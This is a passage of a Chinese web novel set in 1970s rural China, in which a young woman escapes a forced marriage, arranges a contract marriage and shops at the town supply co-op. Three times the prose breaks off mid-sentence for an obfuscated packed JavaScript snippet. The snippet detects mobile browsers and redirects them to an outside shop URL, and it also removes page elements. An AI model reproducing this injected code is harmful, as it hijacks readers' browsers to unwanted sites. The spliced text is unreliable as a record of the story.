中午谢晚棠一通闹,本以为谢老太太跟谢老爹一顿添油加醋后会腥风血雨,没想到谢晚棠一到家就看到一桌子好饭。 说是好饭,是相对于那个年代来说的,其实不过就是没了瓜干,全是二合面饼子,菜里边也掺了点肉丝。 谢晚棠帮着端饭的时候,薛桂花皱着眉头,朝她使了个眼色,谢晚棠立马明白,这是谢老爹去王二家谈成了。 吃饭的时候,没人提中午那茬,谢老太太、谢老爹和谢建国都一脸美滋滋像要过年了似的,谢晚棠心底嗤笑,拿了两个二合面饼子,自己一个,放薛桂花碗里一个。 如果她不给拿,薛桂花绝对不会自己主动拿的,这个家已经给她输入了满满的奴.性。 吃完饭,谢老爹大老爷一样往后一靠,朝谢晚棠努了努下巴:“二合面饼子好吃吧!” 谢晚棠淡淡:“凑活吧。” 谢老太太翻了个大白眼,谢老爹倒是不恼:“等你嫁给王二的小儿子,白面馒头也是吃得的!” 这年代白面馒头虽然没桃酥那么稀罕,但也不是一般人家吃得起的。 谢老爹自以为拿出了必胜法宝,没想到谢晚棠都没犹豫,直接道:“我不嫁。” 谢老太太骂道:“这么好的条件你不嫁?你个死丫头片子要上天啊你!” 谢晚棠瞥她一眼:“你觉得好你嫁呗。” 谢老太太气得眼珠子都要瞪出来了:“汪洋,你听这小死蹄子说什么混账话!你还不给我揍她!” 谢老爹皱眉,使劲敲了敲烟袋锅子,试图一锤定音:“这事由不得你!彩礼我都收了,你不嫁也得嫁!” 谢晚棠讥笑一声:“反正我不嫁,既然你收了彩礼,你就嫁过去吧。” 谢老爹中午被王二留下吃了饭,过晌喝得微醺美滋滋地回来就听老娘说谢晚棠长本事了,敢骂奶奶砸哥哥了,谢老爹还不信,如今被谢晚棠这个桀骜不驯的模样一激,从炕头摸起笤帚旮沓就朝谢晚棠打过去。 谢晚棠坐在炕沿上,灵活跳下炕,穿上鞋就往外跑。 跑到门口听见谢老爹哎呦一声,回头一看,老头子下炕急了,整个人趴在地上,摔了个狗吃屎。 谢晚棠撇撇嘴,循着记忆中的路线,朝支书傅余年家跑去,谢老爹落后20多米,手里还拿着笤帚旮沓跟在后边边骂边追。 谢晚棠跑到支书家的时候,支书媳妇和她闺女玉秀正坐在大门口说话。 “我找支书大爷。” 傅大娘愣了下,指了指屋里,谢晚棠直接跑了进去,傅大娘才回过神来:“哎哎,屋里有人——” 谢晚棠冲进亮着煤油灯的东间,就看到支书傅余年和傅青山两人正在炕上喝酒,桌上还摆着几碟小菜。 傅青山怎么也在这儿? 谢晚棠正纳闷呢,支书看了一眼傅青山:“你叫晚棠来的?” 傅青山也愣了下,摇头。 “嘭”一声,谢老爹黑影里没看清,一下子撞在了家门上,“哎呦”一声,一手拿着笤帚旮沓,一手捂着脑门跌跌撞撞冲进来。 傅余年有点摸不着头脑,傅青山今晚来找他说结婚的事,听到傅青山说要和谢晚棠结婚了的时候,他已经很惊讶了。 没想到这边刚聊完,谢晚棠和她爹就过来了。 谢晚棠把气喘匀:“支书大爷,毛主席是不是说了新社会婚姻要双方自愿,不允许像旧社会那样强买强卖?” 傅余年不明所以:“那是自然。” 谢晚棠:“那我举报谢汪洋强逼我嫁给隔壁村的王傻子,这种封建残余行为是不是反G命?是不是应该被批斗?” 虽然新中国规定婚姻自愿,但在广大农村,父母包办婚姻的老习惯还存在,很多女孩在家里没地位,遇到这种事也不敢反抗,村干部就算看见了,也不好去插手人家的家务事。 可谢晚棠不一样,她自己来找村干部举报,还直接把这种强制包办婚姻的行为上升为封建残余和反G命的高度,地主可是社会主义重点改造的对象,地主有封建残余思想那可是万万要不得的。 谢老爹一听到反G命和批斗,头嗡嗡的,那些年经历过的黑暗时光一幕幕浮现眼前。 谢老爹哭丧着脸对傅余年诉苦道:“支书啊,可不敢听这丫头瞎说啊,闺女大了不嫁人,家里哪里养得起?我也不是强逼她嫁给王二家,可你说,就我们家这成分,谁愿意娶她?我也是没办法啊!” 隔壁村王二家那个小傻儿子一直找不上媳妇,给的彩礼可高,乡里乡亲的都知道,傅余年是老支书了,一听就知道谢老爹打的是什么算盘。 傅余年笑笑:“老谢啊,刚才青山就是来跟我商量去你们家下聘的事。” 谢老爹一听,诧异地看了一眼傅青山。 他已经收了王二家的200块钱,还有三转一响随后也送来,就算傅青山在镇上上班,可家里是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634861|143734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他娘管家,他娘那人,绝不可能出比王二家更高的彩礼。 谢老爹皱眉:“不是说得自愿吗,这也得我们家愿意才行。” 谢晚棠:“只需要结婚双方自愿,我愿意。” 谢老爹:“……” 傅余年:“青山这边也不亏待你们家,彩礼是三转一响,再加100块钱。” 谢老爹乍一听还以为自己在做梦:“三转一响加100块钱?” 傅余年:“老谢,这彩礼可是很高了。” 虽然比王二家差100块钱,但把谢晚棠嫁到王二家他还得被批斗,那还不如嫁给傅青山,傅青山虽然专业了,但是在镇上工作条件也不错,以后也能跟着继续沾光。 谢老爹当下拍板:“行!” 傅余年点头:“三转一响给小两口过日子用,100块钱留给你们。” “什么?!”谢老爹头皮一下子炸了。 这差得可不只是100块钱了! 三转一响也没了! 傅余年当然明白谢老爹的小算盘,就是想卖了闺女的钱给儿子风风光光娶媳妇。 傅余年稳稳坐在炕上,敲了敲烟袋锅子:“老谢啊,100块钱也不少了,你好好寻思寻思吧。” 傅余年说得也是实话,现在农村二三十块钱都能娶个媳妇,就算三转一响小两口带走,剩下100块钱也不少了。 支书稳稳地抽着烟袋,傅青山不用说话就一身冷气,谢晚棠又一副天不怕地不怕的样子,最后谢老爹迫于压力,只得接受。 傅余年很满意:“那就这么定了,后天是好日子,青山去下聘。” 谢老爹耷拉着脑袋正要走,谢晚棠开口道:“支书大爷,批斗的事还没定呢。” 谢老爹:??? 傅余年一愣:“老谢既然改了,就不——” 谢晚棠:“如果我今天不来找您,那我是不是就被他卖给王傻子了?不能因为我今天来找您主持公道了,他想做的坏事没有做成他就没有错误了,跟毛主席的思想反着来,就必须被批斗!这是在帮助他进步!” 谢老爹:????? 他都接受了怎么又要被批斗? 进步个屁! 往常那个比面还好揉捏的闺女,今天竟然利嘴巧舌起来,在支书面前还一套一套讲起道理来? 傅余年也没想到谢晚棠这个反应:“他毕竟是你爹。” 谢晚棠心想狗屁爹:“支书大爷,国法高于亲情,谢汪洋同志的事,还是请组织公事公办吧!” 谢晚棠都说到这个份上了,傅余年还有什么好说的。 批斗。 正好借这个机会杀鸡儆猴,让村里那些卖闺女给儿子娶媳妇儿的也都长个警醒,都收敛收敛。 谢老爹要一锤定音卖闺女没锤好,最后被傅支书一锤定音明晚村委会批斗,回去一路上浑浑噩噩的不知道摔了多少次,到家膝盖都磕破了。 谢晚棠和傅青山从支书家出来,傅青山走在她身边,夏日晚风拂过,白酒味混着一点淡淡的汗味飘过,但并不难闻。 谢晚棠刚才收拾完谢老爹爽了,这会儿才反应过来,傅青山可是现场围观了她连自己亲爹都不放过的一面,不知会作何感想,还能放心把他的五个孩子交到自己手上吗? 谢晚棠:“你——” 谢晚棠刚要开口,手里突然被塞了一摞东西,这手感? 谢晚棠拿起来就着月光一看,是5张大团结,还有一些布票。 谢晚棠:??? 谢晚棠:“不是后天来下聘吗?” 傅青山:“这是这个月工资,布票你拿去做衣裳。” 5. 第 5 章 谢晚棠:? 这是上交工资的意思? 合约婚姻也需要上交工资吗? 谢晚棠虽然有些意外,但是钱是好东西,没钱吃不饱饭,她没推脱收下了。 谢晚棠想了想,既然傅青山信任她,她也给傅青山吃一颗定心丸:“你放心,我不会像对我爹那样对你爹娘,只要他们不惹我。” 傅青山:“……” 傅青山一想自己娘平日里行事的样子,恐怕很难保证不惹到谢晚棠。 * 谢老爹跌跌撞撞回到家,谢老太太一听三转一响外加100块钱飞了,儿子还要被批斗,骂骂咧咧嚎了半宿。 谢晚棠到家直接回了西间关上门,把钱和布票收好。 老太太的鬼哭狼嚎丝毫不影响她的睡眠质量,体力劳动真是,沾枕头就着啊。 翌日。 谢晚棠一觉醒来,身体的疲乏烟消云散,她下去洗漱的时候迎面撞上谢老太太,老太太嚎了半宿,眼睛肿得只剩了一条缝。 就是透过这条缝,都试图用眼神剜死她呢! 啧啧,真的好怕怕呢! 谢建国因为没了三转一响,正在天井里摔摔打打地朝薛桂花发脾气,谢晚棠一脚把家门踢得大开,谢建国吓一跳,一看到谢晚棠立马不出声了。 好像生怕谢晚棠也去支书那儿说一圈,把他也弄去批斗。 谢晚棠洗漱完,谢老太太坐在东间炕上,阴阳怪气地骂:“送自己的亲爹去批斗,还没嫁出去呢翅膀就硬了,这么有本事就别吃家里的饭!” 薛桂花昨晚听老头子回来说要被批斗,还是闺女去举报,也吓坏了。 老太太骂的时候,薛桂花朝谢晚棠使眼色,谢晚棠笑笑,伸手拿过玉米饼子咬一口:“我靠自己的劳动挣工分吃饭,就是到了毛主席面前我也不缺理!” 谢晚棠直接把毛主席搬出来,差点噎死谢老太太,她敢骂谢晚棠100句,也不敢骂毛主席一句,要不谢晚棠分分钟也送她跟大儿子一起去批斗。 这死丫头现在不知道让什么东西附了身,真能干出来! 炕上的三个吃不下去饭,薛桂花坐炕沿上不敢吃,谢晚棠拿了饼子塞薛桂花手里:“娘,吃饼子,毛主席都说了,妇女能顶半边天,不是某些人的老妈子!” 谢老太太和谢老爹盯着薛桂花手里的饼子,薛桂花被看得也不敢动。 谢晚棠直接掰一块塞到薛桂花嘴里:“娘,你不吃就是不听毛主席的话。” 谢老太太和谢老爹:??? 薛桂花在这个家里顺从习惯了,以前是什么都听婆婆和男人的,现在听谢晚棠说到毛主席,更不敢不听,小心翼翼地吃起来。 谢老太太和谢老爹简直要撅过去,也不敢说什么,一说点什么这个死丫头片子就把毛主席搬出来! 谢晚棠看她娘终于开始吃饭了,自己也快速几口扒拉完,包好娇嫩的手指去下地。 下地虽然累,但在家看着垃圾更恶心。 谢晚棠到地里的时候,妇女们三五成群聚在一起议论,她随便听了一耳朵,是在议论她和傅青山要结婚的事。 村里就这样,屁大点事都能传得人尽皆知。 谢晚棠也不在意,议论去吧,早晚都要知道。 刚要蹲下干活,胳膊一把被人攥住往后一扯,扯得她一个大趔趄,堪堪稳住,就看到满脸都被咬成大包的蒋有年。 蒋有年本来脸就被咬得变了形,一愤怒起来模样更扭曲:“你昨晚为什么不来玉米地?” 谢晚棠嗤笑:“我为什么要去玉米地?” 蒋有年恶狠狠地盯着谢晚棠:“谢晚棠你耍我!” 谢晚棠冷笑:“彼此彼此。” 看惯了温柔软弱的谢晚棠,蒋有年一时以为自己出现幻觉了。 旁边不少妇女看过来,谢晚棠往回抽胳膊抽不动,冷冷道:“放手。” 蒋有年挑衅地看着谢晚棠,就是要让她在这么多人盯着的压力下服软。 下一秒,只见谢晚棠嘴角一勾,另一只手用尽全力,朝着他的脸就扇了过来。 蒋有年反应过来的时候,随着左耳边啪的一声巨响,整个左脸都麻了,片刻后刺痛涌来,蒋有年疼得松开谢晚棠的胳膊,抬手捂住自己的左脸。 这一耳刮子太响,地里的人一时全都往这边看过来。 妇女主任刘秀香就在谢晚棠斜前方不过十米的地方,谢晚棠朝刘秀香走过去:“刘主任,蒋有年对我动手动脚。” 谢晚棠声音不小,地里的人都能听着。 蒋有年一听,顾不上脸疼冲过来,气得口不择言,一脸扭曲地对着谢晚棠就是一顿怒骂输出:“你胡说!明明是你让我晚上去玉米地等你,结果你耍我不来,让我被蚊子咬成这样!我对你动手动脚?我一个城市知青,你这样的农村土闺女,求我碰你我都嫌脏!” 在农村,晚上玉米地这五个字一说出来,很难不让人想入非非,一时周边又小声议论起来。 “哟,这城里的知青也这么不讲究,一口一个玉米地的,也不害臊!” “她不是要跟傅青山结婚了吗?怎么又跟蒋有年去玉米地?” “吃着碗里的看着锅里的呗!” …… 蒋有年一口气秃噜完,听着周围的议论声,脸一阵燥热,后悔把玉米地的事说出来了。 谢晚棠却不急,在刘秀香面前温言柔语地挑刺:“刘主任,蒋知青觉得我们农村姑娘土,配不上他,这是他的自由,我管不了。但是既然蒋知青都说了,碰我都嫌脏,怎么还会听我的话去玉米地等我?我哪有这么大的本事让蒋知青乖乖在玉米地里一直等着还被蚊子咬成这副鬼样子。” 谢晚棠不急不躁,却有理有据。 是啊,蒋有年自己说的话都前后矛盾。 而且蒋有年还嫌弃农村姑娘土,谢晚棠已经是她们村里数一数二的美人了,要是谢晚棠在他眼里都是碰一下都嫌脏的,那她们这些人就直接脏了蒋有年的眼了呗! 蒋有年长得精神,城里来的又会打扮,本来村里有不少姑娘暗恋他,这一听,顿时都没了那心思。 农村姑娘也是有自尊心的!
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634862|143734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 蒋有年看着周围人开始倾向谢晚棠,急得跳脚:“你你你——” 谢晚棠瞥他一眼:“蒋知青不仅对我动手动脚,随意诋毁我的清白,还口口声声瞧不起无产阶级,刘主任,请组织严肃处理这件事。” 谢晚棠突然上升到阶级问题,蒋有年快要炸了:“我什么时候瞧不起无产阶级了!” 谢晚棠看了周围一圈:“我们这些农村的土闺女,都是党领导下的无产阶级。” 周围人一听,都跟着应声:“就是!” 蒋有年:“你胡说!我只是说你,没有说无产阶级!你一个地主家的闺女你算什么无产阶级!” 谢晚棠:“我接受党的教育和改造,靠自己的劳动吃饭,没有剥削任何人,我怎么不算无产阶级?” 蒋有年不敢相信眼前这个伶牙俐齿的谢晚棠是他曾经几句甜言蜜语就可以哄得团团转的傻姑娘,但他又说不过谢晚棠,谢晚棠还要继续给他上纲上线扣帽子,蒋有年气得压不住,抬手就要去扇谢晚棠那张能说会道的嘴。 刘秀香怒斥:“蒋有年你给我住手——” 在所有人的惊呼声中,下一秒,蒋有年嘭的一声躺倒在地,哀嚎惨叫着捂住自己的□□在地上打滚。 谢晚棠见证了全过程,蒋有年冲上来要打她的时候,傅青山刚好过来,一觉踹在了蒋有年身上,不知道是不是凑巧,刚好踹在了蒋有年命根子那里。 刘秀香吓了一大跳,她背对着傅青山,蒋有年和谢晚棠两个人在争论,她也没听到身后来人,直接一只大脚穿着皮鞋嘭的一声踹过来,蒋有年捂着□□在地上打滚,她回头才看到傅青山铁青着脸。 早晨来上工的路上,她就听支书家的婶子说了谢晚棠要和傅青山结婚的事,所以现在看到傅青山出手,哦不,出脚,她惊吓之余却并不意外。 毕竟是将要过门的媳妇大庭广众被欺负了,除了窝囊废,是个男人就不该袖手旁观。 地里围观的妇女们都吓懵了,半晌才回过神来。 “傅青山这一脚可狠!蒋有年不会被踢废了吧!” “不废也得残啊!那大皮鞋底可硬!” “活该!对人家媳妇动手动脚,还要动手打人,该打!” “这以后不用看不上我们农村闺女了,放心,我们农村闺女也看不上太监。” 不知道是谁说了这句,周围的听着跟着笑出声来。 这边笑,那边哭。 蒋有年哀嚎凄厉,刘秀香只得让人先把赤脚大夫叫来。 赤脚大夫过来以后,这地里一地的妇女也没法直接看啊,又叫来两个男人架着,蒋有年拖拉着两条腿被架回了大队部。 这一来一回耽误了得有半个多小时的工夫,到了大队部蒋有年疼得脸上汗都往下淌,赤脚大夫脱了裤子一看,旁边扶着蒋有年过来的男人们吓得都倒吸一口凉气。 只见蒋有年那命根子肿得通红发亮,甚至能看到血丝,赤脚大夫碰一下蒋有年就嗷嗷叫。 赤脚大夫哪里遇到过这样的事,头都大了:“这都淤血了,快送镇医院吧。” 6. 第 6 章 蒋有年这样也不敢坐自行车后座,最后还是支书让人找了辆驴车,一路颠颠晃晃、哀嚎惨叫着送去了镇医院。 闹闹哄哄的人都去了大部队看热闹,地里就剩了谢晚棠和傅青山。 傅青山虽然一直没什么笑模样,但现在看起来脸色好像格外冷沉。 谢晚棠想了想:“这个点,你怎么来地里了?” 傅青山的粮食关系在镇上不在村里,他不用下地,这个点该去镇上上班的。 傅青山脸色和缓了些:“你没车子,去镇上供销社不方便,我去上班,可以捎着你。” 昨晚傅青山给了她布票,买布要去镇供销社,离下沟村二十多里地。 谢晚棠想了想:“不太方便吧?” 谢晚棠自然没有什么男女授受不亲的想法,她是考虑傅青山是去上班的,只能把她捎过去,那买完她还得自己走回来呢! 二十多里地,她走断腿也走不回来啊! 谢晚棠正愁着,刚想问问傅青山能不能哪天歇班一起去,就听傅青山道:“大队部还有一辆自行车,玉秀会骑,我跟支书说说让玉秀带你去?” 谢晚棠眼睛一下子亮了:“那可太好了!” 傅青山“哦”了声,刚刚和缓了的脸色好像又不怎么好看了。 谢晚棠:? 哎,饭票很敞亮没得说,就是没个笑模样还情绪多变,让人摸不透。 谢晚棠刚一冒出来这念头,马上自己给自己掐灭。 做人不能不知足,不能既要又要。 如果用看老板的心态来看傅青山,老板难道还不能有自己的不开心吗? 当然可以! 谢晚棠想开以后,笑着对傅青山道:“那你快走吧!” 这个年代虽然没有什么指纹or人脸识别打卡,但估计上班也不能随便迟到吧。 傅青山张了张嘴,最后什么都没说。 傅青山走后没多久,玉秀过来叫她,说妇女主任找她,谢晚棠就跟着玉秀去了大队部。 蒋有年被驴车拉着往镇医院去了,大队部看热闹的也都散了,谢晚棠进去,里边就妇女主任刘秀香和支书家的媳妇傅大娘。 “主任,大娘。” 刘秀香叫她过来坐:“晚棠,叫你来是问问,蒋有年说的玉米地是怎么回事?有人说看见蒋有年昨天早晨也去地里找你了,还跟你说了好一会儿的话。” 谢晚棠早就想好了,没有犹豫道:“主任,他一直拿我的地主成分欺负我,骚扰我,昨天他去地里,就是威胁我让我晚上去玉米地找他,不然要我好看!” 傅大娘自己也有闺女,傅玉秀跟谢晚棠,要是玉秀被蒋有年这么欺负,她能直接上去撕了蒋有年的脸! 傅大娘气愤道:“这个蒋知青,劳动磨洋工,净想着祸祸咱村的闺女了!” 刘秀香皱眉:“那他以前有没有对你——” 谢晚棠摇头:“以前他只是嘴上说说,我不愿意给组织添麻烦,也就忍下了,可是去玉米地这样的事儿,我,我,我怎么能去!主任,难道就因为我家成分不好,就该被人这样欺负吗?” 说着说着,谢晚棠眼眶都红了,从头到尾没有提‘委屈’两个字,但句句都是委屈。 谢晚棠活了二十多年,还是第一次尝试戏精角色,不过对付蒋有年这种人品碎一地的人渣,就要不择手段。 就凭他毁了一个姑娘的一生,怎么收拾他都不过分! 刘秀香叹了口气,拍了拍她肩膀:“晚棠,这不是你的错,你应该早告诉我,这不是麻烦组织,你要是真被蒋有年祸害了,才是我这个妇女主任的失职!你放心,我去跟支书商量,一定给你讨回一个公道!” 谢晚棠起身,朝刘秀香鞠躬:“谢谢主任!” 刘秀香想了想又嘱咐了一句:“这事就别跟青山细说了,你们这马上要结婚了,别因为蒋有年影响了你俩过日子。” 刘秀香是个很负责的妇女主任,但谢晚棠心里想的是,主任没事,我们是合约婚姻,傅青山就是知道了也不会影响的! 但她不能告诉刘秀香,只点头应着。 傅大娘也从炕上下来:“行了,要结婚了是大喜事,不提这些糟心的人了,青山跟我说你要去供销社买布做衣裳,明天要定亲了,今天就别上工了,一会儿让玉秀骑车子带你去镇上。” “谢谢大娘!”可能女人天性就喜欢购物吧,虽然这个年代物资匮乏,供销社的东西比21世纪肯定是差远了,但谢晚棠还是很好奇,已经迫不及待了。 和大队长请了假,玉秀骑自行车带谢晚棠去镇供销社采购。 下沟村离镇上隔着好几个村,盛夏蝉鸣阵阵,小路两旁都是翠绿高大的老树,枝条盘根错节在一起,为路上的行人挡住炎炎夏日。 路旁就是地,秋收临近,地里也都是一片葱翠茂盛。 与谢晚棠曾经生活的城市相比,这里的空气都那么清新。 坐在后座上,谢晚棠心情好,不自觉哼起歌来。 土路有一点不好就是不平,起起伏伏的,尤其是大上坡,蹬起来可费力,更别提还带个人了。 玉秀骑了半个多小时,上坡已经有点喘了。 谢晚棠:“玉秀,我来带你吧。” 玉秀有点犹豫:“嫂子,你没骑过车子,不能行吧?” 谢晚棠:呃…… 也不好说这玩意儿我小学就会骑了,初中高中骑了6年呢! 谢晚棠笑笑:“我试试,看着也不难的样子。” 玉秀确实也累了,谢晚棠想试就试吧,反正也不可能成功,她就当歇会儿了。 结果谢晚棠跨过车子登上去,腿虽然有点不够长,看着吃力,但是两脚一离地,顺利地就蹬了起来,骑出去10来米一点都不带打晃的! 她当初可是她哥给她扶着,学了好一阵子才学会的呢! 谢晚棠给玉秀演示了一下让她放心后,才掉头回来,让玉秀上来。 玉秀坐上来还是有点怕,下意识抱住谢晚棠的腰,没想到谢晚棠就开始有点吃力地晃了两下,轮子转起来以后,骑得比她这个老手还稳! 平安度过一个上坡后,玉秀忍不住喊道:“嫂子!你也太厉害了吧!第一次骑车就骑这么好!咱下沟村,不,咱大沟镇估计都找不出第二个来!” 谢晚棠被夸得惭愧,笑笑:“可能我平衡稍微好点罢了,每个人都有擅长的东西,很正常。” 玉秀是傅青山的堂妹,支书一家教育得也好,性格脾气比傅青山那个亲妹妹可真是好太多了,两人一路上说说笑笑,很快就到了镇上。 谢晚棠是第一次来镇上,玉秀和她娘一起来过几次供销社,两个人换了位置,玉秀熟练地骑到供销社门口。 停好车子,谢晚棠抬头,入目便是红色醒目的六个大字——大沟镇供销社。 供销社主要是镇上上班的工人来买东西,村里粮食自给自足,布票发得也极少,不逢年过节,一般没有来供销社的。 这个点是工厂的上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634863|143734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 班时间,供销社没什么人,谢晚棠进去的时候,两个售货员正坐一起嗑瓜子聊天儿,看到她们俩进来,也没有搭理她俩。 谢晚棠倒是不在意,她买东西的时候,本就不喜欢导购一直跟在旁边,不自在。 谢晚棠走到卖布的柜台,打眼一看,柜台上摆着各式花布。 今天的首要目标就是买布做一身结婚的衣裳,再看看其他的日常布料。 红色布料都集中摆在一起,谢晚棠走到红布集中的区域,打眼一细看,简直两眼一黑== 大红布料上印满各式小碎花,甚至还有印着像老式被套上那样的大红牡丹的,还有时下流行的大红格子布…… 谢晚棠表示:有点麻爪QAQ 好不容易在一众花布里翻到唯一一匹正红色纯色的确良,就这个吧! 作为专业的服装设计师,谢晚棠估算了一下做上衣的尺寸,喊还在嗑瓜子的售货员:“同志!买布!” 生产力不足生活物资供不应求的年代,售货员都是香饽饽,根本不存在顾客是上帝这一说。 一个售货员不情不愿地放下瓜子,不紧不慢地走过来。 售货员看了一眼谢晚棠手里拿的红布,不带花纹的布最便宜,她又上下打量了一圈谢晚棠,更是一副看土狗的眼神:“扯多少?” 谢晚棠报了尺寸,售货员又撇撇嘴,嘟囔道:“这么少,也值当得买……” 玉秀一来就被粉色蓝色的格子布吸引了过去,听到这边售货员的动静,这才过来,售货员正在裁谢晚棠选得纯色红布,玉秀轻轻扯扯谢晚棠的袖子,低声提醒:“嫂子,这都是那几年的老款式了,现在结婚都穿带花的。” 谢晚棠抿唇:“嗯……我不想太张扬。” 售货员又扫了一眼谢晚棠满身的补丁:“……” 农村人不嘴硬会死吗? 玉秀倒是秒懂,谢晚棠的地主成分确实给她带来不少麻烦。 扯好上衣的料子,谢晚棠又扫了一眼,问售货员:“有黑布吗?纯黑的。” 售货员:“……” 黑布比红布还便宜。 售货员没好脸色地从柜台下边抱出来一辊子黑色的确良扔在谢晚棠面前,谢晚棠摸了摸,报上了尺码。 玉秀皱眉,压低声音:“嫂子,这都是老太太穿的颜色。” 谢晚棠笑笑:“哦,没事。” 玉秀叹了口气,哎,谢晚棠真是活得太小心了,这个年纪的姑娘,哪个不爱打扮,谁不喜欢纷纷绿绿的小碎花和格子布啊! 挑完做结婚衣服的布料,谢晚棠又问:“有土布吗?” 玉秀赶紧拉过谢晚棠超小声提醒:“嫂子,土布不用在这买!” 谢晚棠:“啊?” 玉秀朝她使了个眼色,谢晚棠立马明白了,有黑市!土布肯定卖的比供销社便宜,还不用票! 谢晚棠没再看布,直接去看皮鞋,柜台里摆了几双黑皮鞋:“同志,皮鞋怎么卖?” 售货员掀了掀眼皮:“有5块的、10块的、15的、20的!” 谢晚棠:“给我拿双20的试试。” 谢晚棠买鞋从来不买便宜的,一双好鞋穿上哪儿哪儿都舒服,这方面不能省。 售货员走过来瞥了她一眼:“你有钱吗?买不起就不要试,你要是试脏了不买,我还怎么卖?” 谢晚棠早就忍够了这售货员狗眼看人低的样子,直接从兜里摸出来20块钱和票拍在柜台上:“现在能试了吗?” 7. 第 7 章 售货员怎么也没想到,这个一身补丁的女孩真能拿出来20块钱,就是在镇上上班的女孩,也没几个穿得起20块的皮鞋的,毕竟一个月的工资才三四十块钱,还要买米买面买油…… 售货员没再说什么,照着谢晚棠的鞋码给她找了皮鞋试了。 这年头的皮鞋虽然款式不算很好看,但胜在做工过硬,皮子真是好皮,穿上走两步,又跟脚又舒服。 谢晚棠付钱:“就这双。” 买完鞋谢晚棠又挑了两双袜子,结婚的行头置办得就差不多了。 25块钱,就可以把自己美美嫁出去的年代。 供销社里还有很多副食品,酥货小麻花什么的,但都得要票和副食品本,她没有,有钱也是干瞪眼。 谢晚棠付完钱准备走了,玉秀突然拉住她:“嫂子,你还没买头花呢!结婚怎么能不带花!你这么白,戴上肯定好看!” 谢晚棠朝着玉秀指的方向看过去,就见柜台里边摆的那种特别有年代感的夹在头上的红纱质地的花…… 她记得爸妈的老式结婚照上,老妈就带了这样一朵花,是那个年代新娘子最时髦的打扮。 谢晚棠轻咳一声:“算了,太张扬了。” 玉秀皱眉:“嫂子,我哥是武装部长,你嫁给他就不用那么小心了!” 售货员:? 这个一身补丁的土妞是武装部长的未婚妻? 乡下小姑娘能不能别张口就吹啊! 谢晚棠摇摇头,硬拉着玉秀出了供销社,那种大红花她是绝对不可能戴的!哪怕只是合约婚姻!也不行! 出了供销社的门,玉秀还不死心:“可是谁家新娘子不戴红啊?” 谢晚棠:“我这不买了红布嘛,我自己做,还省钱!” 玉秀无奈叹气:“嫂子,你真是比无产阶级贫下中农还朴实,以后谁要再议论你是地主小姐,我第一个跟她不服!” 玉秀比她小两岁,从小被父兄保护得很好,特别嫉恶如仇,此时一脸的正义,骑上车子,带着谢晚棠去黑市买土布。 谢晚棠以为黑市是个热闹的小市场,没想到玉秀带着她在胡同里拐来拐去,拐到一条人烟稀少的土街上,有个农村妇女用小车推着土布。 傅大娘也安排了玉秀来买布,不过玉秀对颜色单调的土布不感兴趣,她还是喜欢供销社里的小碎花、小格子,要是能做一身布拉吉,那真是做梦都能笑醒。 哎,跟嫂子一比,好像她才是那个地主家需要改造的小姐呢。 谢晚棠看到这些纯人工织成的土布,别提多兴奋了,前世她们团队还专门设计过一次怀旧土布专题呢! 这个年代流行穿的确良,虽然现代人觉得的确良是化纤制品又不透气,但在当时,的确良耐磨,颜色又多,确实是当时的时尚。 而这些天然棉花织成的绿色环保、舒适吸汗的土布,却不怎么受欢迎,都是买不起的确良的人才会买的。 土布的价格只有的确良的一半,而且还不要票,谢晚棠白色、浅灰、藏青、晴蓝……挑了很多,一共才花了一块五! 买完往回走的路上,玉秀不解地问谢晚棠:“嫂子,你怎么买这么多土布啊?” 村里稍微条件好点的小媳妇,哪有穿土布的啊。 谢晚棠嫁给青山哥,肯定也不需要穿土布了呀。 谢晚棠自己喜欢的很:“玉秀,做自己喜欢的事,不要随波逐流。” 玉秀读书不多,也听不大懂,但就是觉得她嫂子挺厉害的,有钱有票,还能忍住不买供销社里的漂亮花布。 两人买完东西也到晌午了,肚子饿得咕咕叫,但是不光供销社里的副食品买不了,就连供销社旁边的国营食堂也要票。 有钱吃不了饭! 谢晚棠叹气,真是干瞪眼的年代啊! 中午太阳有点毒,两人又饿又渴,食堂旁边有个卖冰棍的不要票,5分钱一根。 谢晚棠买了两根冰棍,跟玉秀一人一根,坐在食堂旁边阴凉地的大石头上吃冰棍歇脚。 夏日炎炎,一根冰棍简直如久旱逢甘霖。 玉秀一头晌跟谢晚棠也熟络了,看了一眼周围没人,跟谢晚棠道:“她们都说你是嫁不出去了才会跟我哥结婚。” 谢晚棠:“你哥有那么差?” “我哥能挣钱,但她们都说我哥在部队的时候伤了……那里,”小姑娘说到这儿脸红了,“总在背后议论我哥,嫂子,你真不在乎吗?” 谢晚棠:“……” 虽然她和傅青山是合约婚姻,傅青山那里行不行的跟她没关系,但跟堂小姑子聊这个话题,咳咳咳…… 